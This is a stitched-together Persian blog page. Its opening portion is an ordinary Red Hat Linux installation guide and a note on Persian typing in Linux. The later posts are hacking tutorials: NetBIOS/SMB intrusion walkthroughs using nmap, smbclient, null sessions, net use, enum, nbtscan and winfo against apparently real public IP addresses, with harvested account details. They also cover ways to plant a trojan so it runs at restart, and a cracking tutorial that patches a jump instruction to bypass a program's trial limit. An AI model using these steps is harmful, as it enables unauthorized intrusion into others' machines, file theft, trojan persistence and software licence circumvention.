انتخاب كنيد كه از سيستم لينوكس خود برای اتصال به اينترنت برای مرور وب و... استفاده ميكنيد. در صورتی كه ميخواهيد از سيستمتان به عنوان سرويس دهنده در شبكه استفاده نماييد از اين گزينه استفاده نكنيد. با انتخاب اين گزينه، تنها برخی اتصالات پذيرفته ميشوند. برای اتصال به اينترنت و يك شبكه بندی ساده فقط اتصالات DNS و پاسخ های DHCP پذيرفته ميشوند و بقيه اتصالات در ديوار آتش حذف خواهند شد. -امنيت متوسط (Medium) : اين سطح امنيت را در صورتی انتخاب نماييد كه مايليد دستيابی به برخی از شماره پورت های TCP/IP را ببنديد. (بطور استاندارد شماره پورتهای زير 1023). اين انتخاب دستيابی به پورتهای سرويس دهنده NFS، سرويس گيرنده های راه دور X و سرويس دهنده قلم X را خواهد بست. -بدون ديوار آتش (No Firewall) : اين گزينه را در صورتی انتخاب نماييد كه به يك شبكه عمومی متصل نيستيد و قصد نداريد در شبكه محلی، هيچ يك از درخواستهای ورودی به سيستمتان را حذف نماييد. البته شما همچنان ميتوانيد فقط سرويسهايی را راه اندازی نماييد كه ميخواهيد در سطح شبكه ارائه نماييد و سرويس های ديگر را از كار بياندازيد. در صورتی كه مايليد دسترسی به برخی سرويسهای خاص را فراهم نماييد، ميتوانيد روی دگمه سفارشی كردن (Customize) كليك كنيد و پذيرش درخواستهای ورودی برای سرويسهای DHCP، SSH،Telnet،WWW،Mail وFTP را فراهم نماييد. همچنين ميتوانيد ليستی از شماره پورتهايی كه با كاما از هم جدا شده اند را برای باز كردن دسترسی به آنها، وارد نماييد. (فايل etc/services به شما نشان ميدهد كه چه سرويسهايی به چه پورتهايی مرتبط هستند). نكته : با تنظيم قواعد ديوار آتش در اين مرحله، اين تنظيمات در فايل etc/sysconfig/ipchains نوشته ميشوند. اين قواعد بوسيله اسكريپت آغازگر ipchains در مسير etc/init.d/ipchains در هنگام بوت سيستم اعمال ميشوند. من توصيه ميكنم برای تغيير قواعد ديوار آتش خود اين فايل را اصلاح نماييد. اين به شما اطمينان ميدهد كه هر گاه سيستم شما بوت ميشود، اين قواعد در آن بصورت خودكار اعمال خواهند شد. -انتخاب زبانهای قابل پشتيبانی (Language Support): در اين مرحله از نصب زبانی كه در ابتدای نصب انتخاب كرديد، انتخاب شده است. در صورتی كه به زبانهای ديگری نياز داريد، ميتوانيد با كليك كردن روی گزينه كنار آنها، آنها را انتخاب كنيد. -انتخاب موقعيت زمانی (Time Zone) : موقعيت زمانی كشور خود را ميتوانيد از ليست پايين صفحه انتخاب نماييد. همچنين با كليك كردن روی نقاط موجود روی صفحه ميتوانيد موقعيت زمانی خود را انتخاب نماييد. از صفحه UTC Offset شما ميتوانيد موقعيت زمانی خود را به توجه به فاصله زمانی آن از گرينويچ (GMT) تنظيم نماييد. -تنظيم حسابهای كاربری (User Accounts): در اين مرحله شما بايد يك رمز عبور جهت كاربر ريشه (root) تعيين نموده و يك يا چند كاربر عادی نيز به سيستم اضافه نماييد. رمز عبور ريشه امكان كنترل كامل سيستم لينوكس ردهت را به شما ميدهد. بدون آن و قبل از اضافه نمودن كاربران ديگر شما هيچ گونه دسترسی به سيستم خودتان نداريد. رمز عبور ريشه را تايپ كنيد و در باكس زيرين آن، تكرار آنرا تايپ كنيد. دقت داشته باشيد كلمه عبور ريشه را بخاطر داشته و آنرا محرمانه نگهداريد! -فعال سازی احراز هويت (Enable Authentication): در بيشتر شرايط، شما كلمات عبور سايه (shadow) و MD5 را كه بصورت پيش گزيده فعال هستند، انتخاب ميكنيد. گزينه كلمات عبور سايه از امكان دسترسی به كلمات عبور رمز نگاری شده جلوگيری بعمل مياورد. نكته : MD5 الگوريتم رمزنگاری كلمات عبور در لينوكس و سيستم های مبتنی بر يونيكس ميباشد. اين الگوريتم جانشين الگوريتم كريپت (crypt) كه در سيستمهای نخستين مبتنی بر يونيكس استفاده ميشد، شده است. هنگامی كه گزينه MD5 فعال ميشود، امكان انتخاب كلمات عبور بلندتر توسط كاربران ايجاد ميشود كه عمل شكستن آنها دشوارتر است. در صورتی كه شما دارای شبكه محلی با پشتيبانی از انواع مختلف احراز هويت در سطح شبكه (Network-Wide Authentication) هستيد، امكان استفاده از قابليت های زير را دارا هستيد: -NIS فعال: در صورتی كه شبكه شما برای استفاده از سيستم اطلاعات شبكه (Network Information System) پيكربندی شده است، اين دگمه را انتخاب نموده و نام حوزه NIS و محل سرويس دهنده را وارد نماييد. بجای انتخاب سرويس دهنده NIS شما ميتوانيد روی كليد برای پيدا كردن خودكار آن در سطح شبكه كليك نماييد. -LDAP فعال: در صورتی كه سازمان شما اطلاعات كاربران خود را اخذ كرده است، ميتوانيد روی دگمه آن برای جستجوی اطلاعات احراز هويت روی يك سرويس دهنده LDAP كليك نماييد. شما ميتوانيد نام سرويس دهنده LDAP را برای پيدا كردن اطلاعات مورد نياز سيستمتان وارد كنيد. -Kerberos 5 فعال: با كليك كردن روی اين دگمه، سرويس های احراز هويت در سطح شبكه ارائه شده توسط كربروس فعال ميشوند. پس از فعال سازی كربروس، ميتوانيد اطلاعات مورد نياز درباره يك رئالم (Realm) كربروس(گروهی از سرويس دهنده ها و سرويس گيرنده های كربروس)،KDC (يك كامپيوتر كه بليطهای كربروس را صادر ميكند) و سرويس دهنده مديريت (Admin Server) را وارد نماييد. اين كامپيوتر ديمن kadmind را اجرا ميكند. -SMB : روی اين گزينه كليك كنيد تا از سرويس دهنده Samba برای اشتراك فايل و چاپگر با سيستم های ويندوز استفاده نماييد. در صورتی كه از احراز هويت SMB استفاده نماييد، ميتوانيد نام سرويس دهنده Samba موجود در شبكه محلی و نام گروه كاری كه مايليد كامپيوترتان به آن تعلق داشته باشد را وارد نماييد. -انتخاب بسته ها (Select Packages): در اين مرحله خلاصه ای از بسته های نرم افزاری كه نصب خواهند شد به شما نشان داده ميشود. اين نرم افزارها با توجه به نوع نصبی كه شما انتخاب نموده ايد، تفاوت دارند. ميتوانيد ليست پيش گزيده را قبول كرده و يا روی گزينه Customize كليك كنيد تا ليست كامل نرم افزارها به شما نشان داده شود. در صورتی كه نياز به نصب نرم افزارهای خاصی داريد كه در هيچيك از حالتها نصب نمی شوند، اين گزينه را انتخاب نماييد. نكته : در صورتی كه فضای كافی ديسك سخت در اختيار داريد و ميخواهيد تمام ابزارها و نقاط لينوكس را امتحان كنيد، با انتخاب نصب بصورت سفارشی (Customize) و انتخاب گزينه همه چيز (Everything) را در پايين صفحه انتخاب نماييد. در صورتی كه مطالب اين كتاب را دنبال ميكنيد نياز به نصب تمام اين نرم افزارها وجود ندارد. همچنين از انتخاب اين گزينه در كامپيوترهای كاری و اصلی خودداری كنيد. زيرا برخی از برنامه های سرويس دهنده دارای ضعف های امنيتی هستند و شما بدون اينكه واقعا به آنها نيازی داشته باشيد، امنيت سيستم خود را به خطر انداخته ايد. نصب تمام اجزا حدود 3 گيگابايت فضا مصرف خواهد كرد. نكته : گزينه Select Individual packages به شما امكان انتخاب بسته ها بصورت تك تك را ميدهد. اين گزينه فقط برای افراد حرفه ای توصيه ميشود. زيرا ممكن است يك بسته نرم افزاری از چندين بسته تكی ايجاد شده باشد و عدم نصب هر يك در اجرای آن اختلال ايجاد خواهد كرد. -شروع كپی و نصب: در اين مرحله برنامه نصب به شما اعلام خواهد كرد كه آماده نصب اجزای انتخاب شده ميباشد. رویNext كليك كنيد. در اين مرحله سيستم فايل فرمت و آماده شده و بسته های نرم افزاری آغاز به كپی شدن ميكنند. در اين قسمت از شما خواسته خواهد شد ديسكهای ديگر نصب لينوكس را در درايو قرار دهيد. اين قسمت بسته به سرعت پردازنده و درايو CD-ROM،بين20-40 دقيقه طول خواهد كشيد. -ايجاد ديسك بوت (Boot Disk): با استفاده از اين ديسكت ميتوانيد در موارد اضطراری سيستم خود را بوت كنيد. كافی است يك ديسك داخل درايو قرار داده و روی Next كليك كنيد. در صورتی كه به اين ديسك نياز نداريد، گزينه No را انتخاب كرده و روی Next كليك نماييد. -انتخاب كارت گرافيكی: احتمالا لينوكس كارت گرافيك شما را شناسايی نموده است. در صورتی كه اينار به درستی صورت نگرفته، ميتوانيد از ليست نوع كارت گرافيكی و ميزان حافظه آنرا انتخاب نماييد. -تنظيم مانيتور: در اين مرحله كار خاصی لازم نيست انجام دهيد. لينوكس بطور خودار مدل و فركانس مانيتور شما را تشخيص خواهد داد. كافی است بدون دستكاری هيچ چيز، روی Next كليك نماييد. -انتخاب رنگ و وضوح صفحه نمايش (Color & Resolution): با توجه به نوع سخت افزاری كه داريد، ميتوانيد تعداد رنگها و وضوح صفحه نمايش خود را در ليست های ارائه شده مشاهده نموده و مقادير دلخواه خود را انتخاب كنيد. توجه داشته باشيد تعداد رنگ بالاتر و وضوح بالاتر باعث كم شدن سرعت كامپيوتر خواهد شد. با يك مانيتور 14 يا15 اينچ، بهترين انتخاب وضوح 800 در600 پيكسل و رنگ 16 بيت خواهد بود. وضوح مناسب برای مانيتورهای 17 اينچ، 1024 در768 پيكسل است. در صورتی كه مايليد نتيجه انتخاب خود را ببينيد، روی دگمه Test Setting كليك نماييد. در صورتی كه هر دو محيط GNOME و KDE را نصب كرده ايد، در اين مرحله ميتوانيد از ميان آنها، يكی را بعنوان پيش گزيده انتخاب كنيد و نحوه ورود به سيستم (login) هم بصورت متنی (سطح اجرايی 3) و گرافيكی (سطح اجرايی 5) قابل تنظيم خواهد بود. جهت ادامه روی Next كليك كنيد. -پايان نصب: در اين مرحله برنامه نصب پايان يافتن نصب لينوكس ردهت را به شما تبريك ميگويد. كافی است روی دگمه Exit كليك كنيد. ديسك نصب لينوكس از درايو خارج شده و سيستم راه اندازی خواهد شد. اگر يكی از برنامه های ليلو يا گراب را نصب كرده باشيد، يك صفحه گرافيكی ظاهر شده و از شما ميخواهد سيستم عامل مورد نظر خود را انتخاب نماييد. بوسيله كليدهای بالا و پايين ميتوانيد اين كار را انجام دهيد. پس از انتخاب كليد Enter را فشار دهيد. با توجه به اينكه نحوه ورود به سيستم را بصورت متنی يا گرافيكی انتخاب كرده باشيد، يا صفحه گرافيكی ورود به سيستم ردهت را خواهيد ديد و يا يك اعلان ساده متنی ورود به سيستم. جهت يادگيری در مورد چگونگی ورود به لينوكس ردهت و استفاده از آن به فصل سوم مراجعه نماييد. اگر پس از نصب لينوكس ردهت تصميم به حذف يا اضافه كردن سخت افزاری گرفتيد، ابزاری به نام كودزو (kudzu) وجود دارد كه هنگام بوت سيستم به شما اجازه پيكربندی سخت افزار جديد را ميدهد. -پيكربندی مجدد سخت افزار با استفاده از كودزو : هنگام بوت شدن سيستم شما ميتوانيد در سيستم خود تغييراتی اعمال نماييد. ممكن است سخت افزاری را حذف يا اضافه كرده باشيد، و يا بخواهيد يك سرويس سيستمی را بعلت متوقف شدن آن هنگام بوت خاموش نماييد. بوسيله كودزو، شما ميتوانيد هنگام بوت سيستم، سخت افزار خود را تغيير دهيد و سرويسهای سيستم خود را پيكر بندی نماييد. جهت ورود به كودزو كافی است هنگام بوت به پيغام "Press 'I' to enter interactive startup" توجه كرده و با فشار دادن كليد I وارد آن شويد. ابتدا ابزار شناسايی سخت افزار كودزو شروع به جستجو و بررسی وجود سخت افزار جديد و يا حذف شدن يك سخت افزار مينمايد. در صورت پيدا كردن چنين مواردی، به شما امكان پيكربندی آن را ميدهد. هنگامی كه پيكربندی سخت افزارها به پايان رسيد، بخش پيكربندی سرويسها آغاز ميشود. برای اجرای تك تك سرويسها از شما سوال ميشود. اين بهترين روش برای توقف موقت يك سرويس است كه هنگام بوت كامپيوتر را متوقف ميكند. توجه : برای رفع اشكال يك سرويس، بايد پس از ورود به لينوكس ردهت آنرا مجددا پيكريندی نماييد. نكته : در صورتی كه سخت افزاری را حذف يا اضافه كنيد، هنگام بوت، كودزو بطور خودكار آنرا تشخيص ميدهد و ابزار پيكربندی را اجرا ميكند. فارسی نويسی در لينوكس اين مسئله از واضحات است كه برای يك كاربر فارسی زبان سيستم عاملی ارزش دارد كه در آن بتوان از امكانات فارسی مانند تايپ فارسی و فارسی نويسی در بخش های مختلف بهره برد. لينوكس هم به عنوان سيستم عاملی كه كم كم جای خود را در خانه ها باز ميكند، از اين قاعده مستثنی نيست. اين مقاله به بررسی چگونگی فارسی نويسی در لينوكس می پردازد. به چه چيزهايی نياز داريم؟ خوب برای اينكه عمليات فارسی نويسی برای لينوكس موفقيت آميز باشد، به برنامه های زير نياز داريد: - محيط گرافيكی GNOME نسخه 2 و بالاتر يا KDE نسخه 3 و بالاتر - XFree86 نسخه 4.2.0 و بالاتر لازم به ذكر است كه نسخه های محيطهای GNOME و KDE كه در بالا ذكر شدند، از Unicode پشتيبانی ميكنند كه ميتوانند كاراكترهای فارسی را به درستی نشان دهند. ضمنا برنامه Xfree86 نسخه 4.2.0 دارای بهبودهايی در بارگزاری فونت ها و پشتيبانی از antialiasing است. آيا در مجموعه برنامه های اداری OpenOffice امكان تايپ فارسی وجود دارد؟ استفاده از امكانات فارسی در محيطهای متفرقه امكان خوبی است، ولی اين هنگامی تكميل ميشود كه بتوان در محيطهای اداری نيز از امكانات فارسی استفاده كرد. بله شما ميتوانيد در مجموعه برنامه های اداری OpenOffice فارسی تايپ كنيد. البته اين بستگی به نسخه ای دارد كه شما در حال استفاده از آن هستيد. اين امكان در نسخه 1.00 وجود ندارد، زيرا در آن پشتيبانی از CTL فعال نمی باشد. برای استفاده از امكانات فارسی بايد نسخه های دارای پشتيبانی از CTL مانند نسخه 1.1 را دانلود كنيد. كافی است به آدرس http://www.openoffice.org مراجعه كنيد. البته دانلود كردن اين مجموعه كمی جرات می خواهد كه البته به آن می ارزد.واقعا مجموعه OpenOffice جانشين خوبی برای MS-Office به شمار ميرود. اين مجموعه هم فايلهای MS-Office را ميخواند و هم به فرمت آن Save ميكند. (حتی بهتر از خود مايكروسافت!) حجم آن حدود 74 مگابايت است. البته برای دانلود با مودم عدد بزرگی است ولی در مقايسه با 700 -800 مگابايت MS-Office يك شاهكار به شمار ميرود. اين مجموعه محصول يكی از دشمنان مايكروسافت يعنی Sun Microsystems است و بصورت كد باز ارائه ميشود و تماما با Java نوشته شده است. آيا امكان استفاده از قلمهای TTF آشنای زبان فارسی در مجموعه OpenOffice وجود دارد؟ خوب خيلی از ما به قلمهای آشنای فارسی كهسالهاست از آنها استفاده ميكنيم، عادت كرده ايم. مانند قلمهای زر، نسيم، نازنين، لوتوس، كامپيوست و... . متاسفانه در حالت عادی اگر اين قلمها را طبق اصول بالا در مسير /usr/X11R6/lib/X11/fonts/TTF/ كپی شوند، بعلت اينكه Unicode نيستند، نمی توانيد از آنها در OpenOffice بهره گيری نماييد، ولی من توانستم به هر نحوی نسخه های Unicode آنها را درهنگام جستجو در وب پيداكنم . آيا لينوكس واقعا ميتواند جايگزين ويندوز در امور روزمره شود؟ خوب با روند پيش رونده ای كه لينوكس در حال انجام آن است، اين امكان بزودی برای همگان فراهم خواهد شد تا به راحتی از ويندوز دل بكنند، چون معادل تمام برنامه های ويندوز و حتی قوی تر از آن در لينوكس موجود است . |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 14:29 توسط رضا |
|
|
احتمالا ميدونيد که Netbios پرتکل معروف مايکروسافت براي ارتباط ويندوز ها با هم و احتمالا Share کردن پرينتر يا فايله. همچنين وقتي که بحث نفوذ به Client و بر بعضي مواقع Server ها پيش مياد، Netbios يکي از اولين انتخاب هاست. ما در اين مقاله سعي ميکنيم از اين ضعف سيستم عاملهاي مايکروسافت سوءاستفاده کنيم. # nmap -sS -O 192.168.3.1-50 -p 139 و جواب ميشنوم: st 1 open and 1 closed TCP port Interesting ports on (192.168.3.2): Port State Service 139/tcp open netbios-ssn Remote OS guesses: Windows Millennium Edition (Me), Win 2000, بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن :) 192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره :) من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست . # nmblookup –A 192.168.3.2 و جواب ميگيرم: Looking up status of 192.168.3.2 ARMINLAPTOP <00> - B < ACTIVE> WORKGROUP <00> - < GROUP> B < ACTIVE> ARMINLAPTOP <03> - B < ACTIVE> ARMINLAPTOP <20> - B < ACTIVE> WORKGROUP <1e> - < GROUP> B < ACTIVE> ADMINISTRATOR <03> - B < ACTIVE> WORKGROUP <1d> - B < ACTIVE> ..__MSBROWSE__. <01> - < GROUP> B < ACTIVE> همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست :) # smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2 نتيجه دستور به صورت زير است: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- IPC$ IPC Remote IPC D$ Disk Default share ADMIN$ Disk Remote Admin C$ Disk Default share Armin Disk Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOP خب ميبينيد ؟ :) هر دو پارتيشن ARMINLAPTOP در اختيار شماست ! :) همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه ميفرماييد که Armin به عنوان Disk بهاشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ): # smbclient -LARMINLAPTOP -I 192.168.3.2 و جواب: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Anonymous login successful Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- Error returning browse list: NT_STATUS_ACCESS_DENIED Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOP خب باز هم يه اطلاعاتي پيدا ميکنيم ! :) با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره ! # smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 و جواب ميشنوم: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: session setup failed: NT_STATUS_LOGON_FAILURE خب ! :) Share توسط Password محافظت ميشه ! :) کار زيادي نميتونيم انجام بديم. مثلا ميتونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار ميکنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم : # smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator و جواب ميشنوم: added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] smb: \> اين مثل خط فرمان ميمونه و ميتونين دستورات رو تايپ کنيد براش. کار تمومه! هر کاري که دوست داشته باشين ميتونين با اين راه رو هر Share اي انجام بديد :) مثلا مينويسم: smb: \> ls و جواب ميشنوم: . DA 0 Sat Feb 8 05:34:11 2003 .. DA 0 Sat Feb 8 05:34:11 2003 Blcorp D 0 Sat Feb 8 03:05:51 2003 47943 blocks of size 65536. 8261 blocks available و ادامه ميدم به صورت زير: smb: \> cd Blcorp smb: \Blcorp\> ls . D 0 Sat Feb 8 03:05:51 2003 .. D 0 Sat Feb 8 03:05:51 2003 WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002 47943 blocks of size 65536. 8261 blocks available smb: \Blcorp\> get WLTrial.exe getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ... smb: \Blcorp\> شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد :) فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نميگيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم ! C:\>nbtstat -A 192.168.3.1 Local Area Connection 2: Node IpAddress: [192.168.3.2] Scope Id: [] Host not found - يک نفوذ بدون مشکل جدي چقدر طول ميکشه ؟ |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 14:17 توسط رضا |
|
|
كرك كردن 1: Input Name خب بگيد ساده ترين روش براي تغيير برنامه براي اينكه برنامه وقتي سريال غلط وارد ميكنيم وارد قسمت W32dasm (مغز: البته هر اموزشي كه ميخونم اين يكي رو لازم داره ولي نمي تونم دانلودش كنم )
خب برنامه رو نصب مي كنيم برنامه رو استفاده مي كنيم تازه از برنامه خوشمون امده كه يه وارنينگ هشدار مياد كه ميگه داداش تعداد استفاده ها تموم شده
------------------------------------------------------ خب بقل jne 004086D2 چنين چيزهايي نوشته شده 004086B0 7520 و اگه با كليد بالا پايين برويم تا روي اين دستور برويم دستور سبز ميشه يعني يه نوع پرش است پايين صفحه چنين چيزي رو مي بينيم codedata @:004086B0 @offset 000086b0 خب گيج نشين ما هم اين اطلاعات رو لازم نداريم فقط همين دو تا مهم اند 7520 @offset 000086b0 hiew رو باز مي كنيم يه صفحه ابي مثل nc مياد با Alt+f1 درايو C رو انتخاب ميكنيم و برنامه رو باز مي كنيم F4 مي زنيم و مد را انتخاب مي كنيم Decode حالا ميرييم به اون خطي كه پيداش كرديم 86B0 خب همون جايي هستيم كه مي خواستيم F3 رو براي اديت كردن مي زنيم F2 رو براي اديت كردن با كدهاي اسمبلي مي زنيم و jne 004086D2 رو تبديل مي كنيم به je 004086D2 اينتر بزنيد ديگه چيزي رو تغيير نديد ESC F9 رو براي save كردن بزنيد Esc رو براي خارج شدن حالا برنامه رو اجرا كنيد (عوض كردن شرط رو به خاطر بياريد ) ايول برنامه كار ميكنه يعني دكمه استارت رو فعال كرديد ولي صفحه هشدار مياد فكر مي كنيد بتونيد صفحه هشدار Nag screen رو برداريد ؟ سعي كنيد چند نكته رو مي گم اگه خواستيد دستوري رو پاك كنيد از Nop 90 استفاده كنيد دستور پوچ سعي كنيد تابع ها call رو پاك نكنيد ولي اگر هوس كرديد چنين كاري رو بكنيد همه دستورات Push قبل از اون رو هم پاك كنيد چون بدون اجرا تابع چيزي رو تو Stack وارد مي كنيم ولي چون تابع اجرا نمي شه اين مقادير Pop نميشه و اين مقادير با ديگر مقادير قاطي مي شود و اشكال دارد به تعداد بايت هاي دستور توجه كنيد چون مثلا به جاي دستور Jne بهتره از Je استفاده كنيد چون سايز دستور جامپ ممكن است فرق بكند يهو مي بينيد 10 خط بعدي برنامه كلا عوض شد و شما اگه مي خواهيد دستور بزرگتر قرار بديد بايد دستورات بعدي رو اصلاح كنيد و اگه كمتر مي خواهيد قرار بديد با دستور پوچ جاهاي اضافه رو پر كنيد اگه اين مقاله اشكالي داره به من بگيد و اميدوارم بتونيد اين پنجره كذايي رو برداريد نكته : پيشنهاد مي كنم اين برنامه رو كرك كنيد و از سرو ته سر در بياريد و با W32dasm كار كنيد و از گزينه هاي مفيدش استفاده كنيد |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 14:15 توسط رضا |
|
|
- NetBIOS چيست؟ Interesting ports on HOME-TU6U0AV86Y (217.218.84.29): Port State Service 139/tcp open netbios-ssn Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP اين خروجي اعلام ميکند که پورت ۱۳۹ باز است. پس ميشود از اين ip استفاده کرد. nbtstat -A 217.218.84.29 دستور nbtstat يک ابزار خاص براي کار با NetBIOS است. دقت کنيد که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat داراي پارامترهاي بسياري است که اگه ميخواين همه رو ببينين، بنويسين nbtstat و enter را بزنيد.) NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- HOME-TU6U0AV86Y<00> UNIQUE Registered MSHOME <00> GROUP Registered HOME-TU6U0AV86Y<20> UNIQUE Registered MSHOME <1E> GROUP Registered MAC Address = 00-53-45-00-00-00
net view \\217.218.84.29 حالا اگه گفتين چي ميشه؟ درسته! دو حالت ممکنه اتفاق بيوفته: System error 5 has occurred. Access is denied. اين يعني نميتونين ادامه بدين. به عبارت ديگه ايست! ولي يه کاري ميتونيد بکنيد و اون اينه که يه null session برقرار کنيد با اون کامپيوتر. اين حالت در مورد ويندوزهاي سري NT جواب ميده. مينويسيد: net use \\217.218.84.29\IPC$ "" /user:"" حالا چرا ميگن null session ؟ دليلش اينه که يک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه اين دستور جواب داد ميتونم دوباره دستور net view \\217.218.84.29 را تکرار کنم. Shared resources at \\217.218.84.29 Share name Type Used as Comment ------------------------------------------------ Printer Print Acrobat PDFWriter Printer2 Print Acrobat Distiller SharedDocs Disk The command completed successfully. عاليه. دقت کنيد که در اين کامپيوتر يک فايل (Disk) به اسم ShareDocs به اشتراک گذاشته شده (دو تاي باقي براي پرينتر است). حالا که رسيدم به اين اسم ديگه آخرين دستور را مينويسم. net use L: \\217.218.84.29\SharedDocs به اسم درايو، ip و نام مربوطه که ShareDocs دقت کنيد. چون من اصطلاحا به صورت null session دارم ارتباط ميگيرم، ممکنه کار نکنه ولي اگه درست کار کنه جواب ميشنوم: The command completed successfully. معرکه است!!! حالا My Computer رو باز کنيد و ببينيد که درايو جديد به ليست درايوها اضافه شده که ميتونين مثل درايوهاي معمولي با اون کار کنيد و فايل کپي کنيد و ... net use /delete L: استفاده کنيد.
d:\newfolder\ali.exe در اين حالت به محض اولين restart کامپيوتر، تروجان اجرا خواهد شد. [autorun] open=d:\newfolder\ali.exe ۳- اگه به فولدر ويندوز دسترسي داريد، ميتونيد يک سطر مثل همان مثال قبل ولي براي فايل winstart.bat اجرا کنيد. در اين حالت هم به محض restart اجرا خواهد شد. run=d:\newfolder\ali.exe ۵- اگه به فولدر ويندوز دسترسي داريد، ميتونيد تروجان رو به فولدر Start Menu\Startup اضافه کنيد. در اين حالت نيازي به ويرايش هيچ فايل ديگري نيست. enum -S 217.218.84.29 و جواب شنيدم: server: 217.218.84.29 setting up session... success. enumerating shares (pass 1)... got 10 shares, 0 left: E$ IPC$ D$ print$ SharedDocs F$ Printer2 ADMIN$ C$ Printer cleaning up... success. ملاحظه ميفرماييد که درايوهاي E و D و F و C و نيز SharedDocs و ... ليست شده است. بقيه مراحل مثل درس ۲۱ است. (دقت کنيد که در اين حالت نيازي به null session نيست ). nbtscan -v -s : 195.219.49.0-30 که ليست اشتراکها رو از ip شماره 195.219.49.0 تا 195.219.49.30 بدست مياره. جواب ميشنوم: 195.219.49.1 Recvfrom failed: Connection reset by peer 195.219.49.5 Recvfrom failed: Connection reset by peer 195.219.49.6 Recvfrom failed: Connection reset by peer 195.219.49.7 Recvfrom failed: Connection reset by peer 195.219.49.8 Recvfrom failed: Connection reset by peer 195.219.49.12 Recvfrom failed: Connection reset by peer 195.219.49.23:MRS.ZADE :00U 195.219.49.23:ATINET_MRA :00G 195.219.49.23:MRS.ZADE :03U 195.219.49.23:MAC:44-45-53-54-00-00 195.219.49.28:MAC:44-45-53-54-00-00 195.219.49.26:KIYARASH-R96L0K:00U 195.219.49.26:KIYARASH-R96L0K:20U 195.219.49.26:WORKGROUP :00G 195.219.49.26:WORKGROUP :1eG 195.219.49.26:MAC:00-53-45-00-00-00 195.219.49.22:FARHANG-ZCT780D:00U 195.219.49.22:FARHANG-ZCT780D:20U 195.219.49.22:WORKGROUP :00G 195.219.49.22:WORKGROUP :1eG 195.219.49.22:MAC:00-53-45-00-00-00 195.219.49.29:TESSA :00U 195.219.49.29:WORKGROUP :00G 195.219.49.29:TESSA :03U 195.219.49.29:MAC:44-45-53-54-00-00 195.219.49.25:MAC:44-45-53-54-00-00 در مورد ip هايي که 20U را ميبينيد، يعني sharing رو ميشه استفاده کرد. winfo 195.219.49.184 -n -v و به نتايج زير رسيدم: Winfo 2.0 - copyright (c) 1999-2003, Arne Vidstrom - http://www.ntsecurity.nu/toolbox/winfo/ Trying to establish null session... Null session established. SYSTEM INFORMATION: - OS version: 4.0 DOMAIN INFORMATION: - Primary domain (legacy): DSG - Account domain: TEHRAN Warning: Unable to retrieve domain DNS information. Reason : Not supported by the remote OS. PASSWORD POLICY: - Time between end of logon time and forced logoff: No forced logoff - Maximum password age: 42 days - Minimum password age: 0 days - Password history length: 0 passwords - Minimum password length: 0 characters LOCOUT POLICY: - Lockout duration: 30 minutes - Reset lockout counter after 30 minutes - Lockout threshold: 0 SESSIONS: - Computer: ARTAWILL-V0P1QR - User: LOGGED IN USERS: * Administrator USER ACCOUNTS: * Administrator - Password age: 666 days - Privilege level: Administrator - Home directory: - Home directory mapped as: - Comment: Built-in account for administering the computer/domain - Account is: Enabled - User can change password: Yes - Account is locked out: No - Password never expires: Yes - The account is: Normal user - Logon script path: - Full name: - User comment: - Can log in from workstations: All - Last logon to this DC / computer: Mon Mar 03 23:10:23 2003 - Last logoff from this DC / computer: Tue Dec 11 23:57:37 2001 - Account expires: Never - Max disk space: Unlimited - Failed logins in a row to this DC / computer: 0 - Path to user profile: - Password has expired: No (This account is the built-in administrator account) * Guest - Password age: 680 days - Privilege level: Guest - Home directory: - Home directory mapped as: - Comment: 